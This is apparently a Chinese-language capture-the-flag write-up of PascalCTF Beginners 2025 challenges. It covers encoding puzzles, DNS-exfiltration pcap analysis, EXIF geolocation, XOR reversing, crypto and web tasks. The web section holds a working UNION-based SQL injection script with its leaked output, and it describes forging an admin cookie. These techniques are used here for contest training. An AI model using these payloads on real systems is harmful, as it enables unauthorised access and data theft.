比赛地址:PascalCTF

比赛时间:19 Mar 2025 23:00 CST - 20 Mar 2025 04:00 CST

复现的题目用🔁标注


Misc

Base N’ Hex

Challenge

Base N’ Hex

AlBovo

I encrypted the flag but I don’t remember in what order. Can you help me?

python
# basenhex.pyfrom base64 import b64encodeimport random, os FLAG = os.getenv("FLAG").encode()assert FLAG.startswith(b"pascalCTF{")assert FLAG.endswith(b"}") def encode(input_string):    if random.randint(0, 1) == 0:        return b64encode(input_string)    else:        return input_string.hex().encode()    if __name__ == "__main__":    for i in range(10):        FLAG = encode(FLAG)    with open('output.txt', 'w') as out:        out.write(FLAG.decode())
text
3334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333233343634333736313336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353334333433353331333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333736313334363433363631333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433343335333533333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313335333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333533333335333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333436343337333933343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333436353335333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636333334363533363634333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533353333333533343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353335333433343335333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343634333736313334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353335333733383334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533353333333033343635333433343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343334363433373339333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333323334363433373631333633343336333833343635333433373335333133333333333533393335333433353332333636323334363433373631333433393333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333636343334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133373631333436343336363133353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353335333333323335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533353334333533353333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333533343335363133363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436343337363133343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533393337363133343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333933333330333436353334333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333233343634333736313336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363633333436353335333433353331333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353335333333353334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333736313334363433363631333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333533343335333533333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313335333433353331333333303334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333133333331333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353335333333323335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533353334333636323333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333436343337333733343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313337363133343634333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333533333332333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353335333433363632333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133353334333536313336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353335333333353334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533393333333033343635333433343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363333343635333636343334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533353334333636323333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333436343337333933343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343335363133363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436343337363133343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636333334363533363634333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533353333333533343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333533333332333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333233343634333736313336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363634333436353335333433353331333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333736313334363433363631333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433343336363233333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333933373631333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333323335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333436343337333733343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636333334363533343334333533313333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313337363133343635333433343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343634333736313334333133333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353335333333353334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533353333333133343635333433343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333533343336363233333333333533393335333433353332333636323334363533333332333433353333333033353631333433343334363433373339333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303334363633353334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363333343635333433343335333133333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133373631333436343336363133353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343334333636323333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436343337363133343339333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333533333330333436353334333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363333333333353334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133353334333536313336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333133343634333533343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363633333436353336363433343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333736313334363433343334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433343336363233333333333533393335333433353332333636323334363533333332333433353333333033353631333433343334363433373339333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313335333433353631333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363433373631333433393333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333533333331333436353333333233343335333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333323335333933353334333533323336363233343635333333323334333533333330333536313334333433363334333633383334363533343337333533313333333333353339333533343335333233363632333436353333333233343335333333303335363133343334333436343337333733343635333433373335333133333333333533393335333433353332333636323334363533333332333433353333333033353631333433343336333433363338333436353334333733353331333333333335333933353334333533323336363233343635333333323334333533333332333436343337363133363334333633383334363533343337333533313333333333353339333533343335333233363632333436343337363133343339333333303335363133343334333633343336333833343635333433373335333133333333333533393335333433353332333636333334363533343334333433353337363133353631333433343334363533363632

Solution

题目对 flag 进行了10次随机 Base64 或 Base16 编码后将结果写入 output.txt 文件,共有 210 = 1024 种可能的编码组合

  1. output.txt 读取密文
  2. 枚举所有可能的编码顺序并依次解码
  3. 解码后检查解码结果是否以 pascalCTF{ 开头,以 } 结尾。如果出现了符合上面条件解就将其输出并终止程序
python
from base64 import b64decode def decode_base64(input_string):    try:        return b64decode(input_string)    except:        return None def decode_hex(input_string):    try:        return bytes.fromhex(input_string.decode())    except:        return None def is_valid_flag(flag):    return flag.startswith(b"pascalCTF{") and flag.endswith(b"}") def brute_force_decode(encoded, depth=0):    if depth == 10:        if is_valid_flag(encoded):            print(encoded.decode())            return True        return False     # Base64解码    decoded_base64 = decode_base64(encoded)    if decoded_base64:        if brute_force_decode(decoded_base64, depth + 1):            return True     # Hex解码    decoded_hex = decode_hex(encoded)    if decoded_hex:        if brute_force_decode(decoded_hex, depth + 1):            return True     return False  with open('output.txt', 'r') as f:    final_encoded = f.read().strip().encode()brute_force_decode(final_encoded)
flag
pascalCTF{nex7_T1m3_ch3ck_cyb3rCH3F_$b64-d/e$}

DNS e pancetta

Challenge

DNS e pancetta

AlBovo

I’ve recently started studying a new cooking book and I think I’ve found the best recipe ever.
Do you wanna read it? Ask my dear friend DNS!

pancetta.pcapng

Solution

PascalCTFBeginners2025-1

翻了一下全是DNS的流量,注意到每条流量变化的只有.attacker.com前面的数字

截取第三条流量的4c6f72656d206970,尝试把它转成 ASCII(因为第一条没有)

PascalCTFBeginners2025-2

显然信息就是藏在这些十六进制字符里,只要提取出来拼在一起应该就能拿到flag了

先通过过滤出目标ip为172.19.0.2的流量,也就是只保留了发出的部分

text
ip.dst == 172.19.0.2

PascalCTFBeginners2025-3

Ctrl + A 全选把它们复制下来(我还不太会用wireshark所以只想到了这种笨方法呜呜呜)

然后把它们粘贴到写好的 Python 脚本里

这个脚本是先将上面的这些十六进制的内容提取并拼接在一起,最后把十六进制转成字节再转成字符串输出

python
# 实测只有后面这几条有用,前面的太长了就不放了# 如果是像上面一样全部复制的话要把第一条删掉data = """809	0.076141186	172.19.0.3	172.19.0.2	DNS	89	Standard query 0x616b A 2070617363616c43.attacker.com811	0.076317927	172.19.0.3	172.19.0.2	DNS	89	Standard query 0x278c A 54467b444e535f62.attacker.com813	0.076504079	172.19.0.3	172.19.0.2	DNS	89	Standard query 0xa452 A 3334636f6e696e67.attacker.com815	0.076695479	172.19.0.3	172.19.0.2	DNS	89	Standard query 0x79ef A 5f346c6c5f6f7665.attacker.com817	0.076881950	172.19.0.3	172.19.0.2	DNS	89	Standard query 0xc7ec A 725f7468655f706c.attacker.com819	0.077062528	172.19.0.3	172.19.0.2	DNS	81	Standard query 0x2836 A 6163657d.attacker.com""" # 按行分割字符串lines = data.strip().split("\n") # 提取并拼接十六进制字符串hex_string = ""for line in lines:    if "attacker.com" in line:        # 找到 "attacker.com" 前面的部分        parts = line.split("attacker.com")        if len(parts) > 1:            # 提取十六进制部分            hex_part = parts[0].split()[-1].split(".")[0]            hex_string += hex_part byte_value = bytes.fromhex(hex_string)print(byte_value.decode())
flag
pascalCTF{DNS_b34coning_4ll_over_the_place}

🔁 Romagnol Prometheus

Challenge

Romagnol Prometheus

Mark-74

Mattia said he was feeling a little mischevious today and sent me these photos, can you help me understand what he’s up to?

Flag format : pascalCTF{city}

查看提示

The flag is not any of the cities that the coordinates point to, it's all lowercase and the real clue is the message in the metas, not just the coordinates.

查看提示

If you're stuck, just think about this: what would happen if you really dropped that bomb on a map?

challenge.zip

Solution

一开始当社工题做了,我还纳闷这题咋不放在 OSINT ,但就是没想到看 Exif😭

先用 exiftool 查看这三张图片的 exif 信息(工具下载地址:ExifTool by Phil Harvey

text
exiftool-13.25_64>exiftool image1.pngExifTool Version Number         : 13.25File Name                       : image1.pngDirectory                       : .File Size                       : 4.0 MBFile Modification Date/Time     : 2024:08:18 15:05:52+08:00File Access Date/Time           : 2025:03:21 00:15:28+08:00File Creation Date/Time         : 2025:03:21 00:13:51+08:00File Permissions                : -rw-rw-rw-File Type                       : PNGFile Type Extension             : pngMIME Type                       : image/pngImage Width                     : 2004Image Height                    : 1144Bit Depth                       : 8Color Type                      : RGB with AlphaCompression                     : Deflate/InflateFilter                          : AdaptiveInterlace                       : NoninterlacedSRGB Rendering                  : PerceptualGamma                           : 2.2Pixels Per Unit X               : 3779Pixels Per Unit Y               : 3779Pixel Units                     : metersExif Byte Order                 : Big-endian (Motorola, MM)X Resolution                    : 72Y Resolution                    : 72Resolution Unit                 : inchesY Cb Cr Positioning             : CenteredExif Version                    : 0232Components Configuration        : Y, Cb, Cr, -User Comment                    : I'll use a TSAR Bomba here, but not the already tested one, the one that was only designed and its power is  100MTFlashpix Version                : 0100Color Space                     : UncalibratedGPS Version ID                  : 2.3.0.0GPS Latitude Ref                : NorthGPS Longitude Ref               : EastGPS Altitude Ref                : Above Sea LevelImage Size                      : 2004x1144Megapixels                      : 2.3GPS Altitude                    : 30 m Above Sea LevelGPS Latitude                    : 42 deg 51' 16.74" NGPS Longitude                   : 13 deg 28' 36.58" EGPS Position                    : 42 deg 51' 16.74" N, 13 deg 28' 36.58" Eexiftool-13.25_64>exiftool image2.pngExifTool Version Number         : 13.25File Name                       : image2.pngDirectory                       : .File Size                       : 2.9 MBFile Modification Date/Time     : 2024:08:18 15:05:52+08:00File Access Date/Time           : 2025:03:21 00:13:51+08:00File Creation Date/Time         : 2025:03:21 00:13:51+08:00File Permissions                : -rw-rw-rw-File Type                       : PNGFile Type Extension             : pngMIME Type                       : image/pngImage Width                     : 1616Image Height                    : 1100Bit Depth                       : 8Color Type                      : RGB with AlphaCompression                     : Deflate/InflateFilter                          : AdaptiveInterlace                       : NoninterlacedSRGB Rendering                  : PerceptualGamma                           : 2.2Pixels Per Unit X               : 3779Pixels Per Unit Y               : 3779Pixel Units                     : metersExif Byte Order                 : Big-endian (Motorola, MM)X Resolution                    : 72Y Resolution                    : 72Resolution Unit                 : inchesY Cb Cr Positioning             : CenteredExif Version                    : 0232Components Configuration        : Y, Cb, Cr, -User Comment                    : I'll go easy with this one, just a Castle Bravo (15MT) will be enoughFlashpix Version                : 0100Color Space                     : UncalibratedGPS Version ID                  : 2.3.0.0GPS Latitude Ref                : NorthGPS Longitude Ref               : EastGPS Altitude Ref                : Above Sea LevelImage Size                      : 1616x1100Megapixels                      : 1.8GPS Altitude                    : 30 m Above Sea LevelGPS Latitude                    : 43 deg 11' 43.22" NGPS Longitude                   : 12 deg 12' 56.08" EGPS Position                    : 43 deg 11' 43.22" N, 12 deg 12' 56.08" Eexiftool-13.25_64>exiftool image3.pngExifTool Version Number         : 13.25File Name                       : image3.pngDirectory                       : .File Size                       : 822 kBFile Modification Date/Time     : 2024:08:18 15:05:52+08:00File Access Date/Time           : 2025:03:21 00:13:51+08:00File Creation Date/Time         : 2025:03:21 00:13:51+08:00File Permissions                : -rw-rw-rw-File Type                       : PNGFile Type Extension             : pngMIME Type                       : image/pngImage Width                     : 1920Image Height                    : 1080Bit Depth                       : 8Color Type                      : RGBCompression                     : Deflate/InflateFilter                          : AdaptiveInterlace                       : NoninterlacedPixels Per Unit X               : 3827Pixels Per Unit Y               : 3827Pixel Units                     : metersTitle                           : PDF CreatorAuthor                          : PDF Tools AGDescription                     : http://www.pdf-tools.comExif Byte Order                 : Big-endian (Motorola, MM)X Resolution                    : 72Y Resolution                    : 72Resolution Unit                 : inchesY Cb Cr Positioning             : CenteredExif Version                    : 0232Components Configuration        : Y, Cb, Cr, -User Comment                    : I'll use a TSAR Bomba here, but not the already tested one, the one that was only designed and its power is  100MTFlashpix Version                : 0100Color Space                     : UncalibratedGPS Version ID                  : 2.3.0.0GPS Latitude Ref                : NorthGPS Longitude Ref               : EastGPS Altitude Ref                : Above Sea LevelImage Size                      : 1920x1080Megapixels                      : 2.1GPS Altitude                    : 30 m Above Sea LevelGPS Latitude                    : 44 deg 8' 28.83" NGPS Longitude                   : 12 deg 14' 24.84" EGPS Position                    : 44 deg 8' 28.83" N, 12 deg 14' 24.84" E

可以发现如下三个 GPS 位置

text
42 deg 51' 16.74" N, 13 deg 28' 36.58" E43 deg 11' 43.22" N, 12 deg 12' 56.08" E44 deg 8' 28.83" N, 12 deg 14' 24.84" E

还有如下三条注释

text
I'll use a TSAR Bomba here, but not the already tested one, the one that was only designed and its power is  100MTI'll go easy with this one, just a Castle Bravo (15MT) I'll use a TSAR Bomba here, but not the already tested one, the one that was only designed and its power is  100MT

这里要用到NUKEMAP by Alex Wellerstein,它用于在线模拟核弹核武器爆炸

PascalCTFBeginners2025-4

输入分别在给定的三个位置“投放”注释中指定的核弹就能看到三个圆的交点在 Gubbio

flag
pascalCTF{gubbio}

Reverse

X-Ray

Challenge

X-Ray

AlBovo

I’ve recently written my first license checker, maybe Steam will buy it…

Flag format: pascalCTF{secret_signature}

x-ray

Solution

先用 IDA 打开,发现这里有一个 if 分支

如果满足了这个条件就返回正确

PascalCTFBeginners2025-5

接着看一下这个函数

PascalCTFBeginners2025-6

这个函数将输入字符串与一个预定义的 key 进行异或操作,并将结果与另一个预定义的 encrypted 数组进行比较来验证签名

如果想要拿到 flag 就要让它们相等,那么接下来就看一下 keyencrypted 数组

PascalCTFBeginners2025-7

明显 key 就是 *7^tVr4FZ#7S4RFNd2encrypted 数组是78 52 08 47 24 47 07 19 6B 50 68 67 43 61 35 7E 09 01 00

接下来写一个 Python 脚本来解密这个 XOR 加密过程就能拿到flag了

python
key = b"*7^tVr4FZ#7S4RFNd2"encrypted = b"\x78\x52\x08\x47\x24\x47\x07\x19\x6B\x50\x68\x67\x43\x61\x35\x7E\x09\x01\x00" def decrypt(key, encrypted):    result = []    for i in range(len(encrypted)):        # XOR 每个字节        decrypted_byte = encrypted[i] ^ key[i % len(key)]        result.append(decrypted_byte)    return bytes(result)  decrypted_input = decrypt(key, encrypted)print(decrypted_input.decode())

程序输出ReV3r53_1s_4w3s0m3*

flag
pascalCTF{ReV3r53_1s_4w3s0m3*}

Web

Static Fl@g

Challenge

Static Fl@g

AlBovo

A friend of mine created a nice frontend, he said we didn’t need a backend to check the flag…

https://staticflag.challs.pascalctf.it

Solution

题目说了只有前端没有后端,那直接翻源代码就行

PascalCTFBeginners2025-8

text
cGFzY2FsQ1RGe1MwX3kwdV9jNG5fVVMzXzFuc3BlY3RfM2wzbTNudF90MF9jaDM0dF9odWg/fQ==

拿到的这个字符串 base64 解码一下就行

PascalCTFBeginners2025-9

flag
pascalCTF{S0_y0u_c4n_US3_1nspect_3l3m3nt_t0_ch34t_huh?}

Biscotto

Challenge

Biscotto

Ale

Elia accidentally locked himself out of his admin panel can you help him to get his access back?

https://biscotto.challs.pascalctf.it

challenge.zip

Solution

先在附件找找 flag 是存放在哪里的

PascalCTFBeginners2025-10

发现是环境变量里的 FLAG,然后接着找FLAG

PascalCTFBeginners2025-11

发现了这段代码

它直接检查用户的 cookie 是否等于 admin ,如果是就会返回 flag

于是来到这个网站这里随便输入账号密码登录

PascalCTFBeginners2025-12

登录之后直接把 cookie 里面 user 的值改为 admin

PascalCTFBeginners2025-13

然后在 /me这个页面刷新一下就能看到 flag 了

PascalCTFBeginners2025-14

flag
pascalCTF{d0n7_f0rg3t_th3_ch0col4t3}

Euro 2024

Challenge

Euro 2024

Ale

It is a widely known fact that elia is a diehard fan of football. For this reason he built a website to display the group stats of the EURO 2024 tournament but it seems like he left a secret somewhere.

https://euro2024.challs.pascalctf.it

challenge.zip

Solution

还是先找 flag 放在哪,发现在环境变量的 FLAG

PascalCTFBeginners2025-15

然后接着找FLAG

PascalCTFBeginners2025-16

可以发现这里通过环境变量env.FLAG 将 flag 插入到 FLAG表中

涉及到 SQL 的操作于是首先考虑 SQL 注入攻击

来到网页发现了这个查询的接口 https://euro2024.challs.pascalctf.it/api/group-stats ,请求方式是 POST,负载是group=A,响应如图

PascalCTFBeginners2025-17

那么就可以写一个脚本调用这个接口尝试发起 SQL 注入攻击

python
import requests url = "https://euro2024.challs.pascalctf.it/api/group-stats"payload = {"group": "A' UNION SELECT flag, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM FLAG --"} response = requests.post(url, json=payload)print(response.json())
text
{'data': [{'group_id': 'A', 'team_name': 'Germany', 'ranking': 1, 'points': 7, 'wins': 2, 'draws': 1, 'losses': 0, 'goal_difference': 6}, {'group_id': 'pascalCTF{fl4g_is_in_7h3_eyes_of_the_beh0lder}', 'team_name': None, 'ranking': None, 'points': None, 'wins': None, 'draws': None, 'losses': None, 'goal_difference': None}, {'group_id': 'A', 'team_name': 'Switzerland', 'ranking': 2, 'points': 5, 'wins': 1, 'draws': 2, 'losses': 0, 'goal_difference': 2}, {'group_id': 'A', 'team_name': 'Scotland', 'ranking': 4, 'points': 1, 'wins': 0, 'draws': 1, 'losses': 2, 'goal_difference': -5}, {'group_id': 'A', 'team_name': 'Hungary', 'ranking': 3, 'points': 3, 'wins': 1, 'draws': 0, 'losses': 2, 'goal_difference': -3}]}

成功拿到 flag

flag
pascalCTF{fl4g_is_in_7h3_eyes_of_the_beh0lder}

Crypto

Romañs Empyre

Challenge

Romañs Empyre

AlBovo

My friend Elia forgot how to write, can you help him recover his flag??

python
# romans_empire.pyimport os, random, string alphabet = string.ascii_letters + string.digits + "{}_-.,/%?$!@#"FLAG : str = os.getenv("FLAG")assert FLAG.startswith("pascalCTF{")assert FLAG.endswith("}") def romanize(input_string):    key = random.randint(1, len(alphabet) - 1)    result = [""] * len(input_string)    for i, c in enumerate(input_string):        result[i] = alphabet[(alphabet.index(c) + key) % len(alphabet)]    return "".join(result) if __name__ == "__main__":    result = romanize(FLAG)    assert result != FLAG    with open("output.txt", "w") as f:        f.write(result)
text
TEWGEP6a9rlPkltilGXlukWXxAAxkRGViTXihRuikkos

Solution

这题考的是凯撒密码

题目的 romanize 函数先生成一个随机的密钥 key = random.randint(1, len(alphabet) - 1),这个密钥决定了字母表中每个字符要移动的位数。对于 flag 中的每个字符,找到它在 alphabet 中的位置,然后加上密钥 key,最后对 alphabet 的长度取模,得到加密后的字符。

由于密钥 key 是随机生成的,并且范围在 1len(alphabet) - 1 之间,我们可以尝试所有可能的密钥值。对于每个可能的密钥,将加密后的字符串中的每个字符反向移动 key 位,得到可能的原始字符串。通过检查解密后的字符串是否以 pascalCTF{ 开头并以 } 结尾来确定正确的密钥。

python
import string alphabet = string.ascii_letters + string.digits + "{}_-.,/%?$!@#" def deromanize(encrypted_string):    for key in range(1, len(alphabet)):        result = [""] * len(encrypted_string)        for i, c in enumerate(encrypted_string):            result[i] = alphabet[(alphabet.index(c) - key) % len(alphabet)]        decrypted_string = "".join(result)        if decrypted_string.startswith("pascalCTF{") and decrypted_string.endswith("}"):            return decrypted_string    return None flag = deromanize("TEWGEP6a9rlPkltilGXlukWXxAAxkRGViTXihRuikkos")print(flag)
flag
pascalCTF{4l34_14ct4-3st/$$/3ncr1pt10n-1337}

barinrot

Brainrot Quiz

Paolo

Solve the quiz to get the italianest flag!

https://brainrot.challs.pascalctf.it/

一点都没看懂,随便乱点就过了(?

PascalCTFBeginners2025-18

flag
pascalCTF{1t4l14n_br41nr0t_1s_th3_b3st}